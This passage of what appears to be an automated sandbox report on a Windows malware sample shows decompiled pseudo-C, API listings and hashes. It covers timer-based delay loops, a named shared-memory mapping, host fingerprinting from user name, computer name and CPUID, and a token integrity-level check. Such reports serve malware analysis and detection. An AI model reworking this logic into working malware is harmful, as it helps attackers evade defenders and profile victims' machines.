							if(_v12 == 0 || _v12 == 0x10d2) {
								goto L22;
							} else {
								goto L21;
							}
						}
						_v12 = _v12 & 0x00000000;
						goto L16;
					}
				}
			}

0x03448b94
0x03448b94
0x03448b94
0x03448b9f
0x03448ba6
0x03448ba8
0x03448ba8
0x03448bb5
0x03448bc0
0x03448bc3
0x03448bc8
0x03448bd1
0x03448bd4
0x03448bd9
0x03448bdc
0x03448be1
0x03448be4
0x03448bf0
0x03448bfd
0x03448bff
0x03448c05
0x03448c0a
0x03448c15
0x03448c17
0x03448c1a
0x03448c1c
0x03448c23
0x03448c29
0x03448c2c
0x03448c2f
0x03448c34
0x03448c41
0x03448c43
0x03448c49
0x03448c53
0x03448c53
0x03448c55
0x03448c5c
0x03448c5f
0x03448c62
0x03448c67
0x03448c74
0x03448c76
0x03448c84
0x03448c84
0x03448c86
0x03448c94
0x03448c99
0x03448c9d
0x03448ca0
0x03448e63
0x03448e6d
0x03448e76
0x03448ca6
0x03448cb2
0x03448cba
0x03448cbd
0x03448e57
0x03448e61
0x00000000
0x03448e61
0x03448cc9
0x03448cce
0x03448cd7
0x03448ce8
0x03448cec
0x03448cf5
0x03448cfb
0x03448d0a
0x03448d11
0x03448d1a
0x03448d20
0x03448e4b
0x03448e55
0x00000000
0x03448e55
0x03448d2c
0x03448d32
0x03448d33
0x03448d3a
0x03448d3d
0x03448e41
0x03448e49
0x00000000
0x03448e49
0x03448d46
0x03448d4d
0x03448d55
0x03448d5a
0x03448d63
0x03448d69
0x03448d70
0x03448d77
0x03448d7a
0x03448e79
0x03448e2d
0x03448e2d
0x03448e32
0x03448e3d
0x03448e3f
0x00000000
0x03448e3f
0x03448d84
0x03448d8b
0x03448d8e
0x03448d93
0x03448d9e
0x03448da3
0x03448da6
0x03448dac
0x03448db2
0x03448db8
0x03448dbb
0x03448dc1
0x03448dc4
0x03448dc9
0x03448dcd
0x03448dcd
0x03448dd9
0x03448de5
0x03448de9
0x03448deb
0x03448df0
0x03448df2
0x03448df7
0x03448dfc
0x03448e09
0x03448e11
0x03448e14
0x03448e14
0x03448df0
0x00000000
0x03448ddb
0x03448ddf
0x03448e16
0x03448e19
0x03448e22
0x00000000
0x00000000
0x00000000
0x00000000
0x03448e22
0x03448de1
0x00000000
0x03448de1
0x03448dd9

APIs

GetTickCount.KERNEL32 ref: 03448BA8
wsprintfA.USER32 ref: 03448BF8
wsprintfA.USER32 ref: 03448C15
wsprintfA.USER32 ref: 03448C41
HeapFree.KERNEL32(00000000,?), ref: 03448C53
wsprintfA.USER32 ref: 03448C74
HeapFree.KERNEL32(00000000,?), ref: 03448C84
RtlAllocateHeap.NTDLL(00000000,00000800), ref: 03448CB2
GetTickCount.KERNEL32 ref: 03448CC3
RtlEnterCriticalSection.NTDLL(05A79570), ref: 03448CD7
RtlLeaveCriticalSection.NTDLL(05A79570), ref: 03448CF5

Part of subcall function 03448307: lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,73FCC740,?,?,0344A428,?,05A795B0), ref: 03448332
Part of subcall function 03448307: lstrlen.KERNEL32(?,?,?,0344A428,?,05A795B0), ref: 0344833A
Part of subcall function 03448307: strcpy.NTDLL ref: 03448351
Part of subcall function 03448307: lstrcat.KERNEL32(00000000,?), ref: 0344835C
Part of subcall function 03448307: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,0344A428,?,05A795B0), ref: 03448379

StrTrimA.SHLWAPI(00000000,0344C2AC,?,05A795B0), ref: 03448D2C

Part of subcall function 03443CC8: lstrlen.KERNEL32(05A79910,00000000,00000000,73FCC740,0344A453,00000000), ref: 03443CD8
Part of subcall function 03443CC8: lstrlen.KERNEL32(?), ref: 03443CE0
Part of subcall function 03443CC8: lstrcpy.KERNEL32(00000000,05A79910), ref: 03443CF4
Part of subcall function 03443CC8: lstrcat.KERNEL32(00000000,?), ref: 03443CFF

lstrcpy.KERNEL32(00000000,?), ref: 03448D4D
lstrcpy.KERNEL32(?,?), ref: 03448D55
lstrcat.KERNEL32(?,?), ref: 03448D63
lstrcat.KERNEL32(?,00000000), ref: 03448D69

Part of subcall function 0344809F: lstrlen.KERNEL32(?,00000000,0344D330,00000001,03442200,0344D00C,0344D00C,00000000,00000005,00000000,00000000,?,?,?,034496C1,034423E9), ref: 034480A8
Part of subcall function 0344809F: mbstowcs.NTDLL ref: 034480CF
Part of subcall function 0344809F: memset.NTDLL ref: 034480E1

wcstombs.NTDLL ref: 03448DFC

Part of subcall function 0344163F: SysAllocString.OLEAUT32(?), ref: 03441680
Part of subcall function 0344163F: IUnknown_QueryInterface_Proxy.RPCRT4(00000008,332C4425,?), ref: 03441702
Part of subcall function 0344163F: StrStrIW.SHLWAPI(?,006E0069), ref: 03441741

Part of subcall function 03449039: HeapFree.KERNEL32(00000000,00000000,03447F18,00000000,?,?,00000000), ref: 03449045

RtlFreeHeap.NTDLL(00000000,?,?), ref: 03448E3D
RtlFreeHeap.NTDLL(00000000,00000000,00000000), ref: 03448E49
RtlFreeHeap.NTDLL(00000000,?,?,05A795B0), ref: 03448E55
HeapFree.KERNEL32(00000000,?), ref: 03448E61
RtlFreeHeap.NTDLL(00000000,?), ref: 03448E6D

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$Free$lstrlen$lstrcatwsprintf$lstrcpy$CountCriticalSectionTickTrim$AllocAllocateEnterInterface_LeaveProxyQueryStringUnknown_mbstowcsmemsetstrcpywcstombs
String ID:
API String ID: 603507560-0
Opcode ID: 14d04ee6b8f4731a15efcd2a73f9ef6964997ad84c96feccd35d6d2aa553c7a7
Instruction ID: 8593c6add0f02f15775096b8f1917082553acdacffa967dd7d7e99806d4e2149
Opcode Fuzzy Hash: 14d04ee6b8f4731a15efcd2a73f9ef6964997ad84c96feccd35d6d2aa553c7a7
Instruction Fuzzy Hash: 6C913979900208AFEB11EFA5DC84A9EBBF9FF09250F144076F808EF261DB319951DB65

Uniqueness

Uniqueness Score: -1.00%

Function 03446786, Relevance: 16.6, APIs: 11, Instructions: 150
timememoryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E03446786(intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				struct %anon52 _v8;
				long _v12;
				char _v16;
				char _v20;
				signed int _v24;
				intOrPtr _v32;
				union _LARGE_INTEGER _v36;
				intOrPtr _v40;
				void* _v44;
				void _v88;
				char _v92;
				struct %anon52 _t46;
				intOrPtr _t51;
				long _t53;
				void* _t54;
				struct %anon52 _t60;
				long _t64;
				signed int _t65;
				void* _t68;
				void* _t70;
				signed int _t71;
				intOrPtr _t73;
				intOrPtr _t76;
				void** _t78;
				void* _t80;

				_t73 = __edx;
				_v92 = 0;
				memset( &_v88, 0, 0x2c);
				_t46 = CreateWaitableTimerA(0, 1, 0);
				_v44 = _t46;
				if(_t46 == 0) {
					_v8.LowPart = GetLastError();
				} else {
					_push(0xffffffff);
					_push(0xff676980);
					_push(0);
					_push( *0x344d240);
					_v20 = 0;
					_v16 = 0;
					L0344B0C8();
					_v36.LowPart = _t46;
					_v32 = _t73;
					SetWaitableTimer(_v44,  &_v36, 0, 0, 0, 0);
					_t51 =  *0x344d26c; // 0x2e4
					_v40 = _t51;
					_t53 = WaitForMultipleObjects(2,  &_v44, 0, 0xffffffff);
					_v8.LowPart = _t53;
					if(_t53 == 0) {
						if(_a8 != 0) {
							L4:
							 *0x344d24c = 5;
						} else {
							_t68 = E034473FD(_t73); // executed
							if(_t68 != 0) {
								goto L4;
							}
						}
						_v12 = 0;
						L6:
						L6:
						if(_v12 == 1 && ( *0x344d260 & 0x00000001) == 0) {
							_v12 = 2;
						}
						_t71 = _v12;
						_t58 = _t71 << 4;
						_t76 = _t80 + (_t71 << 4) - 0x54;
						_t72 = _t71 + 1;
						_v24 = _t71 + 1;
						_t60 = E03448504(_t72, _t72, _t80 + _t58 - 0x58, _t76,  &_v20,  &_v16); // executed
						_v8.LowPart = _t60;
						if(_t60 != 0) {
							goto L17;
						}
						_t65 = _v24;
						_t90 = _t65 - 3;
						_v12 = _t65;
						if(_t65 != 3) {
							goto L6;
						} else {
							_v8.LowPart = E03443BF1(_t72, _t90,  &_v92, _a4, _a8);
						}
						goto L12;
						L17:
						__eflags = _t60 - 0x10d2;
						if(_t60 != 0x10d2) {
							_push(0xffffffff);
							_push(0xff676980);
							_push(0);
							_push( *0x344d244);
							goto L21;
						} else {
							__eflags =  *0x344d248; // 0x0
							if(__eflags == 0) {
								goto L12;
							} else {
								_t60 = E0344A1B0();
								_push(0xffffffff);
								_push(0xdc3cba00);
								_push(0);
								_push( *0x344d248);
								L21:
								L0344B0C8();
								_v36.LowPart = _t60;
								_v32 = _t76;
								SetWaitableTimer(_v44,  &_v36, 0, 0, 0, 0); // executed
								_t64 = WaitForMultipleObjects(2,  &_v44, 0, 0xffffffff);
								__eflags = _t64;
								_v8.LowPart = _t64;
								if(_t64 == 0) {
									goto L6;
								} else {
									goto L12;
								}
							}
						}
						L25:
					}
					L12:
					_t78 =  &_v92;
					_t70 = 3;
					do {
						_t54 =  *_t78;
						if(_t54 != 0) {
							HeapFree( *0x344d238, 0, _t54);
						}
						_t78 =  &(_t78[4]);
						_t70 = _t70 - 1;
					} while (_t70 != 0);
					CloseHandle(_v44);
				}
				return _v8;
				goto L25;
			}

0x03446786
0x03446798
0x0344679b
0x034467a7
0x034467af
0x034467b2
0x03446919
0x034467b8
0x034467b8
0x034467ba
0x034467bf
0x034467c0
0x034467c6
0x034467c9
0x034467cc
0x034467da
0x034467e5
0x034467e8
0x034467ea
0x034467f7
0x03446801
0x03446805
0x03446808
0x0344680d
0x03446818
0x03446818
0x0344680f
0x0344680f
0x03446816
0x00000000
0x00000000
0x03446816
0x03446822
0x00000000
0x03446825
0x03446829
0x03446834
0x03446834
0x0344683b
0x03446844
0x0344684b
0x03446854
0x03446857
0x0344685a
0x03446861
0x03446864
0x00000000
0x00000000
0x03446866
0x03446869
0x0344686c
0x0344686f
0x00000000
0x03446871
0x03446880
0x03446880
0x00000000
0x034468ae
0x034468ae
0x034468b3
0x034468d2
0x034468d4
0x034468d9
0x034468da
0x00000000
0x034468b5
0x034468b5
0x034468bb
0x00000000
0x034468bd
0x034468bd
0x034468c2
0x034468c4
0x034468c9
0x034468ca
0x034468e0
0x034468e0
0x034468e8
0x034468f3
0x034468f6
0x03446901
0x03446903
0x03446905
0x03446908
0x00000000
0x0344690e
0x00000000
0x0344690e
0x03446908
0x034468bb
0x00000000
0x034468b3
0x03446883
0x03446885
0x03446888
0x03446889
0x03446889
0x0344688d
0x03446897
0x03446897
0x0344689d
0x034468a0
0x034468a0
0x034468a6
0x034468a6
0x03446923
0x00000000

APIs

memset.NTDLL ref: 0344679B
CreateWaitableTimerA.KERNEL32(00000000,00000001,00000000), ref: 034467A7
_allmul.NTDLL(00000000,FF676980,000000FF), ref: 034467CC
SetWaitableTimer.KERNELBASE(?,?,00000000,00000000,00000000,00000000), ref: 034467E8
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 03446801
HeapFree.KERNEL32(00000000,00000000), ref: 03446897
CloseHandle.KERNEL32(?), ref: 034468A6
_allmul.NTDLL(00000000,FF676980,000000FF,00000002), ref: 034468E0
SetWaitableTimer.KERNELBASE(?,?,00000000,00000000,00000000,00000000,00000000,FF676980,000000FF,00000002,?,?,03442417,?), ref: 034468F6
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 03446901

Part of subcall function 034473FD: StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,05A79388,00000000,?,76D7F710,00000000,76D7F730), ref: 0344744C
Part of subcall function 034473FD: HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,05A793C0,?,00000000,30314549,00000014,004F0053,05A7937C), ref: 034474E9
Part of subcall function 034473FD: HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,03446814), ref: 034474FB

GetLastError.KERNEL32 ref: 03446913

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeapTimerWaitable$MultipleObjectsWait_allmul$CloseCreateErrorHandleLastmemset
String ID:
API String ID: 3521023985-0
Opcode ID: fb4c777e75cc01ffc2bfff277cd0aea7c6e61f91b12fe280e068d94197288170
Instruction ID: 29d6bbe9e15d58dda5d5bed7c94fb17045421d85d998b871f392dc77436cbc04
Opcode Fuzzy Hash: fb4c777e75cc01ffc2bfff277cd0aea7c6e61f91b12fe280e068d94197288170
Instruction Fuzzy Hash: F4515D75802228AFEF10EFD5DC449EEBFB8EF46360F14413AE410BA284D7749A44CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 03441B2F, Relevance: 13.6, APIs: 9, Instructions: 72
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E03441B2F(intOrPtr __edx, void** _a4, void** _a8) {
				intOrPtr _v8;
				struct _FILETIME* _v12;
				short _v56;
				struct _FILETIME* _t12;
				intOrPtr _t13;
				void* _t17;
				void* _t21;
				intOrPtr _t27;
				long _t28;
				void* _t30;

				_t27 = __edx;
				_t12 =  &_v12;
				GetSystemTimeAsFileTime(_t12);
				_push(0x192);
				_push(0x54d38000);
				_push(_v8);
				_push(_v12);
				L0344B0C2();
				_push(_t12);
				_v12 = _t12;
				_t13 =  *0x344d27c; // 0x262a5a8
				_t5 = _t13 + 0x344e862; // 0x5a78e0a
				_t6 = _t13 + 0x344e59c; // 0x530025
				_push(0x16);
				_push( &_v56);
				_v8 = _t27;
				L0344AD5A();
				_t17 = CreateFileMappingW(0xffffffff, 0x344d2a8, 4, 0, 0x1000,  &_v56); // executed
				_t30 = _t17;
				if(_t30 == 0) {
					_t28 = GetLastError();
				} else {
					if(GetLastError() == 0xb7) {
						_t21 = MapViewOfFile(_t30, 6, 0, 0, 0); // executed
						if(_t21 == 0) {
							_t28 = GetLastError();
							if(_t28 != 0) {
								goto L6;
							}
						} else {
							 *_a4 = _t30;
							 *_a8 = _t21;
							_t28 = 0;
						}
					} else {
						_t28 = 2;
						L6:
						CloseHandle(_t30);
					}
				}
				return _t28;
			}

0x03441b2f
0x03441b37
0x03441b3b
0x03441b41
0x03441b46
0x03441b4b
0x03441b4e
0x03441b51
0x03441b56
0x03441b57
0x03441b5a
0x03441b5f
0x03441b66
0x03441b70
0x03441b72
0x03441b73
0x03441b76
0x03441b92
0x03441b98
0x03441b9c
0x03441bea
0x03441b9e
0x03441bab
0x03441bbb
0x03441bc3
0x03441bd5
0x03441bd9
0x00000000
0x00000000
0x03441bc5
0x03441bc8
0x03441bcd
0x03441bcf
0x03441bcf
0x03441bad
0x03441baf
0x03441bdb
0x03441bdc
0x03441bdc
0x03441bab
0x03441bf1

APIs

GetSystemTimeAsFileTime.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,034422EA,?,?,4D283A53,?,?), ref: 03441B3B
_aulldiv.NTDLL(?,?,54D38000,00000192), ref: 03441B51
_snwprintf.NTDLL ref: 03441B76
CreateFileMappingW.KERNELBASE(000000FF,0344D2A8,00000004,00000000,00001000,?), ref: 03441B92
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,034422EA,?,?,4D283A53), ref: 03441BA4
MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000), ref: 03441BBB
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,034422EA,?,?), ref: 03441BDC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,034422EA,?,?,4D283A53), ref: 03441BE4

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: File$ErrorLastTime$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
String ID:
API String ID: 1814172918-0
Opcode ID: fed17be6e8c33b4f849ce1f94986f4c0a35b4ab042e5557cdf585eff7dab6e32
Instruction ID: 11ecc77afd20625fe5b5fe88b151594a9f5d639743fd602584e66ad901d7dafd
Opcode Fuzzy Hash: fed17be6e8c33b4f849ce1f94986f4c0a35b4ab042e5557cdf585eff7dab6e32
Instruction Fuzzy Hash: F721D2BA641304BBE721EBA4CC45F8E77B9AB48751F280172F615FF290EB7099418B54

Uniqueness

Uniqueness Score: -1.00%

Function 03446A56, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60
sleepmemorytimeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E03446A56(void* __ecx, void* __edx, intOrPtr _a4) {
				struct _FILETIME _v12;
				void* _t10;
				void* _t12;
				int _t14;
				signed int _t16;
				void* _t18;
				signed int _t19;
				unsigned int _t23;
				void* _t26;
				signed int _t33;

				_t26 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t10 = HeapCreate(0, 0x400000, 0); // executed
				 *0x344d238 = _t10;
				if(_t10 != 0) {
					 *0x344d1a8 = GetTickCount();
					_t12 = E03448F10(_a4);
					if(_t12 == 0) {
						do {
							GetSystemTimeAsFileTime( &_v12);
							_t14 = SwitchToThread();
							_t23 = _v12.dwHighDateTime;
							_t16 = (_t23 << 0x00000020 | _v12.dwLowDateTime) >> 7;
							_push(0);
							_push(9);
							_push(_t23 >> 7);
							_push(_t16);
							L0344B226();
							_t33 = _t14 + _t16;
							_t18 = E03447E03(_a4, _t33);
							_t19 = 2;
							_t25 = _t33;
							Sleep(_t19 << _t33); // executed
						} while (_t18 == 1);
						if(E03446B96(_t25) != 0) {
							 *0x344d260 = 1; // executed
						}
						_t12 = E0344225B(_t26); // executed
					}
				} else {
					_t12 = 8;
				}
				return _t12;
			}

0x03446a56
0x03446a5c
0x03446a5d
0x03446a69
0x03446a71
0x03446a76
0x03446a86
0x03446a8b
0x03446a92
0x03446a94
0x03446a99
0x03446a9f
0x03446aa5
0x03446aaf
0x03446ab3
0x03446ab5
0x03446aba
0x03446abb
0x03446abc
0x03446ac1
0x03446ac7
0x03446ad0
0x03446ad1
0x03446ad6
0x03446adc
0x03446ae8
0x03446aea
0x03446aea
0x03446af4
0x03446af4
0x03446a78
0x03446a7a
0x03446a7a
0x03446afe

APIs

HeapCreate.KERNELBASE(00000000,00400000,00000000,?,00000001,?,?,?,0344807D,?), ref: 03446A69
GetTickCount.KERNEL32 ref: 03446A7D
GetSystemTimeAsFileTime.KERNEL32(?,?,?,00000001,?,?,?,0344807D,?), ref: 03446A99
SwitchToThread.KERNEL32(?,00000001,?,?,?,0344807D,?), ref: 03446A9F
_aullrem.NTDLL(?,?,00000009,00000000), ref: 03446ABC
Sleep.KERNELBASE(00000002,00000000,?,00000001,?,?,?,0344807D,?), ref: 03446AD6

Strings

Wi, xrefs: 03446A86

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: Time$CountCreateFileHeapSleepSwitchSystemThreadTick_aullrem
String ID: Wi
API String ID: 507476733-1762264460
Opcode ID: e97dc90418d45791980fde3fcfdee979a0096f0fbcd34f69b3b983e3feea7668
Instruction ID: 34d3f6272e6bdb94fc82a05d721dab39f6a3eca8ee1d6f53dcd35cb9afc1474a
Opcode Fuzzy Hash: e97dc90418d45791980fde3fcfdee979a0096f0fbcd34f69b3b983e3feea7668
Instruction Fuzzy Hash: E0119E7AB00300BEF724EBA4DC49B1A7AD8EB46251F14453AF904EE280EBB4D8408769

Uniqueness

Uniqueness Score: -1.00%

Function 0344269C, Relevance: 12.1, APIs: 8, Instructions: 102
memoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E0344269C(char __eax, signed int* __esi) {
				long _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v28;
				long _t34;
				signed int _t39;
				long _t50;
				char _t59;
				intOrPtr _t61;
				void* _t62;
				void* _t63;
				signed int* _t64;
				char _t65;
				intOrPtr* _t67;
				void* _t68;
				signed int* _t69;

				_t69 = __esi;
				_t65 = __eax;
				_v8 = 0;
				_v12 = __eax;
				if(__eax == 0) {
					_t59 =  *0x344d270; // 0xd448b889
					_v12 = _t59;
				}
				_t64 = _t69;
				E03446B43( &_v12, _t64);
				if(_t65 != 0) {
					 *_t69 =  *_t69 ^  *0x344d278 ^ 0x4c0ca0ae;
				} else {
					GetUserNameW(0,  &_v8); // executed
					_t50 = _v8;
					if(_t50 != 0) {
						_t62 = RtlAllocateHeap( *0x344d238, 0, _t50 + _t50);
						if(_t62 != 0) {
							if(GetUserNameW(_t62,  &_v8) != 0) {
								_t63 = _t62;
								 *_t69 =  *_t69 ^ E03442496(_v8 + _v8, _t63);
							}
							HeapFree( *0x344d238, 0, _t62);
						}
					}
				}
				_t61 = __imp__;
				_v8 = _v8 & 0x00000000;
				GetComputerNameW(0,  &_v8);
				_t34 = _v8;
				if(_t34 != 0) {
					_t68 = RtlAllocateHeap( *0x344d238, 0, _t34 + _t34);
					if(_t68 != 0) {
						if(GetComputerNameW(_t68,  &_v8) != 0) {
							_t63 = _t68;
							_t69[3] = _t69[3] ^ E03442496(_v8 + _v8, _t63);
						}
						HeapFree( *0x344d238, 0, _t68);
					}
				}
				asm("cpuid");
				_t67 =  &_v28;
				 *_t67 = 1;
				 *((intOrPtr*)(_t67 + 4)) = _t61;
				 *(_t67 + 8) = _t63;
				 *(_t67 + 0xc) = _t64;
				_t39 = _v16 ^ _v20 ^ _v28;
				_t69[1] = _t69[1] ^ _t39;
				return _t39;
			}

0x0344269c
0x034426a4
0x034426aa
0x034426ad
0x034426b0
0x034426b2
0x034426b7
0x034426b7
0x034426bd
0x034426bf
0x034426cc
0x0344272d
0x034426ce
0x034426d3
0x034426d9
0x034426de
0x034426ec
0x034426f0
0x034426ff
0x03442706
0x0344270d
0x0344270d
0x03442718
0x03442718
0x034426f0
0x034426de
0x0344272f
0x03442735
0x0344273f
0x03442741
0x03442746
0x03442755
0x03442759
0x03442764
0x0344276b
0x03442772
0x03442772
0x0344277e
0x0344277e
0x03442759
0x03442787
0x03442789
0x0344278c
0x0344278e
0x03442791
0x03442794
0x0344279e
0x034427a2
0x034427a6

APIs

GetUserNameW.ADVAPI32(00000000,?), ref: 034426D3
RtlAllocateHeap.NTDLL(00000000,?), ref: 034426EA
GetUserNameW.ADVAPI32(00000000,?), ref: 034426F7
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,034423D9), ref: 03442718
GetComputerNameW.KERNEL32(00000000,00000000), ref: 0344273F
RtlAllocateHeap.NTDLL(00000000,00000000), ref: 03442753
GetComputerNameW.KERNEL32(00000000,00000000), ref: 03442760
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,034423D9), ref: 0344277E

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: HeapName$AllocateComputerFreeUser
String ID:
API String ID: 3239747167-0
Opcode ID: 040b9690be8a01c913c212900ca6401c0d08f43cd6a983dbd5ff1fb908a38ea7
Instruction ID: 58124fc8b4406a8a7f1ca2b5c9ebe30421afbd443090a14ab08c57aa7a82c859
Opcode Fuzzy Hash: 040b9690be8a01c913c212900ca6401c0d08f43cd6a983dbd5ff1fb908a38ea7
Instruction Fuzzy Hash: 82310875A00205EFEB11EFA9D980A6EF7F9FF48240B14447AE405EB215DBB0EE418B25

Uniqueness

Uniqueness Score: -1.00%

Function 0344924F, Relevance: 10.6, APIs: 7, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0344924F(long* _a4) {
				long _v8;
				void* _v12;
				void _v16;
				long _v20;
				int _t33;
				void* _t46;

				_v16 = 1;
				_v20 = 0x2000;
				if( *0x344d25c > 5) {
					_v16 = 0;
					if(OpenProcessToken(0xffffffff, 0x20008,  &_v12) != 0) {
						GetTokenInformation(_v12, 0x14,  &_v16, 4,  &_v8); // executed
						_v8 = 0;
						GetTokenInformation(_v12, 0x19, 0, 0,  &_v8); // executed
						if(_v8 != 0) {
							_t46 = E03442049(_v8);
							if(_t46 != 0) {
								_t33 = GetTokenInformation(_v12, 0x19, _t46, _v8,  &_v8); // executed
								if(_t33 != 0) {
									_v20 =  *(GetSidSubAuthority( *_t46,  *(GetSidSubAuthorityCount( *_t46)) - 0x00000001 & 0x000000ff));
								}
								E03449039(_t46);
							}
						}
						CloseHandle(_v12);
					}
				}
				 *_a4 = _v20;
				return _v16;
			}

0x0344925c
0x03449263
0x0344926a
0x0344927e
0x03449289
0x034492a1
0x034492ae
0x034492b1
0x034492b6
0x034492c1
0x034492c5
0x034492d4
0x034492d8
0x034492f4
0x034492f4
0x034492f8
0x034492f8
0x034492fd
0x03449301
0x03449307
0x03449308
0x0344930f
0x03449315

APIs

OpenProcessToken.ADVAPI32(000000FF,00020008,00000000,00000000), ref: 03449281
GetTokenInformation.KERNELBASE(00000000,00000014(TokenIntegrityLevel),00000001,00000004,?,00000000), ref: 034492A1
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 034492B1
CloseHandle.KERNEL32(00000000), ref: 03449301

Part of subcall function 03442049: RtlAllocateHeap.NTDLL(00000000,00000000,03447E50), ref: 03442055

GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,?,?,?,?), ref: 034492D4
GetSidSubAuthorityCount.ADVAPI32(00000000), ref: 034492DC
GetSidSubAuthority.ADVAPI32(00000000,?), ref: 034492EC

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: Token$Information$Authority$AllocateCloseCountHandleHeapOpenProcess
String ID:
API String ID: 1295030180-0
Opcode ID: 56f676967d8b55092566b1653b0f4c40ced70b8fbc07a449c136453fa7bc21f4
Instruction ID: b17abb21b1f99a3a9771f0670bb6d5f53493478570d93c88c6fc6df0c0784192
Opcode Fuzzy Hash: 56f676967d8b55092566b1653b0f4c40ced70b8fbc07a449c136453fa7bc21f4
Instruction Fuzzy Hash: 5C215C7990021DFFEB10EF90DC84DEEBBB9EF49304F040076EA10AA295D7718A05EB64

Uniqueness

Uniqueness Score: -1.00%

Function 0344163F, Relevance: 9.2, APIs: 6, Instructions: 152memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 03441680
IUnknown_QueryInterface_Proxy.RPCRT4(00000008,332C4425,?), ref: 03441702
StrStrIW.SHLWAPI(?,006E0069), ref: 03441741
SysFreeString.OLEAUT32(?), ref: 03441763

Part of subcall function 034452F9: SysAllocString.OLEAUT32(0344C2B0), ref: 03445349

SafeArrayDestroy.OLEAUT32(?), ref: 034417B7
SysFreeString.OLEAUT32(?), ref: 034417C5

Part of subcall function 03442436: Sleep.KERNELBASE(000001F4), ref: 0344247E

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree$ArrayDestroyInterface_ProxyQuerySafeSleepUnknown_
String ID:
API String ID: 2118684380-0
Opcode ID: 70f78c93c820f84cd0d65380c277e85efd1a4efc4f58abebc0e33e15f316c724
Instruction ID: 6ff0ccd5597fab307c185fab9929c83d4ce9e1c2d4efde56ac71f5c6df8479ae
Opcode Fuzzy Hash: 70f78c93c820f84cd0d65380c277e85efd1a4efc4f58abebc0e33e15f316c724
Instruction Fuzzy Hash: 34511E7A900209EFDB10DFE4C9848AEB7B6FF88350B18897AE515EF210D771AD85CB54

Uniqueness

